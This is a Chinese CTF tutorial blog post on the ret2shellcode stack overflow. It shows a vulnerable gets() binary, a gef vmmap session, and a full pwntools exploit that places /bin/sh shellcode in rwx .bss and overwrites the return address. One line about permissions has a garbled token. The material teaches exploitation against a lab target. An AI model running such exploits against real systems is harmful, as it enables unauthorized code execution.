欢迎光临
我们一直在努力

ret2shellcode

原理:通过程序执行shellcode代码获得shell,通常情况下shellcode要我们自己编写,自己向内存中填写代码,但实际上现代的内核采用的保护措施导致基本不可能做到这个

但是还是了解以及掌握比较好

int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1

setvbuf(stdout, 0, 2, 0);
setvbuf(stdin, 0, 1, 0);
puts("No system for you this time !!!");
gets((char *)&v4);
strncpy(buf2, (const char *)&v4, 0x64u);
printf("bye bye ~");
return 0;
}

可以看出用了危险函数,用了get和strncpy,bufs代码在bss(未初始化的数据区),首先在函数的最开始打上断点(main),用vmmap查看虚拟内存布局

gef➤ b main
Breakpoint 1 at 0x8048536: file ret2shellcode.c, line 8.
gef➤ r
Starting program: /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode

Breakpoint 1, main () at ret2shellcode.c:8
8 setvbuf(stdout, 0LL, 2, 0LL);
─────────────────────────────────────────────────────────────────────[ source:ret2shellcode.c+8 ]────
6 int main(void)
7 {
→ 8 setvbuf(stdout, 0LL, 2, 0LL);
9 setvbuf(stdin, 0LL, 1, 0LL);
10
─────────────────────────────────────────────────────────────────────[ trace ]────
[#0] 0x8048536 → Name: main()
─────────────────────────────────────────────────────────────────────────────────────────────────────
gef➤ vmmap
Start End Offset Perm Path
0x08048000 0x08049000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x08049000 0x0804a000 0x00000000 r-x /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0x0804a000 0x0804b000 0x00001000 rwx /mnt/hgfs/Hack/CTF-Learn/pwn/stack/example/ret2shellcode/ret2shellcode
0xf7dfc000 0xf7fab000 0x00000000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fab000 0xf7fac000 0x001af000 — /lib/i386-linux-gnu/libc-2.23.so
0xf7fac000 0xf7fae000 0x001af000 r-x /lib/i386-linux-gnu/libc-2.23.so
0xf7fae000 0xf7faf000 0x001b1000 rwx /lib/i386-linux-gnu/libc-2.23.so
0xf7faf000 0xf7fb2000 0x00000000 rwx
0xf7fd3000 0xf7fd5000 0x00000000 rwx
0xf7fd5000 0xf7fd7000 0x00000000 r– [vvar]
0xf7fd7000 0xf7fd9000 0x00000000 r-x [vdso]
0xf7fd9000 0xf7ffb000 0x00000000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffb000 0xf7ffc000 0x00000000 rwx
0xf7ffc000 0xf7ffd000 0x00022000 r-x /lib/i386-linux-gnu/ld-2.23.so
0xf7ffd000 0xf7ffe000 0x00023000 rwx /lib/i386-linux-gnu/ld-2.23.so
0xfffdd000 0xffffe000 0x00000000 rwx [stack]

可以看到bss对应的代码段,有可执行权限

Perm 权限位解析

r:可读 w:可写 x:可执行 —:无任何权限

规则区分各段:

r-x:代码段 (.text),只能读执行,不能写; rw-/rwx 且归属程序本体、非 libc、非 stack:就是 .data/.bss 数据段; 末尾标注 [stack]:栈; 路径带 shturl.:libc 库

最终的playload

#!/usr/bin/env python
from pwn import *

sh = process('./ret2shellcode')
shellcode = asm(shellcraft.sh())
buf2_addr = 0x804a080

sh.sendline(shellcode.ljust(112, b'A') + p32(buf2_addr))
sh.interactive()

  • sh = process('./ret2shellcode') pwntools 启动本地目标程序,创建双向通信管道,后续可以往程序输入数据、接收程序输出。
  • shellcode = asm(shellcraft.sh()) shellcraft.sh():pwntools 内置模板,生成32 位 Linux 打开 /bin/sh 的汇编代码; asm(…):把汇编代码编译成原生二进制机器码(shellcode); 功能:这段二进制丢到可执行内存里运行,就能直接弹出系统 shell。
  • buf2_addr = 0x804a080 这个地址就是你之前 vmmap 看到的 0x0804a000~0x0804b000 这片 .bss 段 里的全局缓冲区 buf2: 这片内存权限 rwx:可读、可写、可执行; 我们打算先把 shellcode 写入这块 bss 缓冲区里存放。
  • 核心攻击载荷:shellcode.ljust(112, b'A') + p32(buf2_addr) ① shellcode.ljust(112, b'A') ljust(112, b'A'):把前面的 shellcode 补齐到总长度 112 字节,不足的地方用字符 A 填充; 112 就是缓冲区到栈上函数返回地址的偏移量:前 112 字节全部填充数据,刚好把栈上原本的返回地址挤到第 113 字节的位置。 ② p32(buf2_addr) 溢出覆盖栈上的函数返回地址,把原本正常返回地址篡改为 0x804a080(bss 里 buf2 的地址); 函数执行完 ret 指令时,CPU 会跳转到这个地址执行。
  • 赞(0)
    未经允许不得转载:171主机测评 » ret2shellcode
    分享到: 更多 (0)

    评论 抢沙发

    • 昵称 (必填)
    • 邮箱 (必填)
    • 网址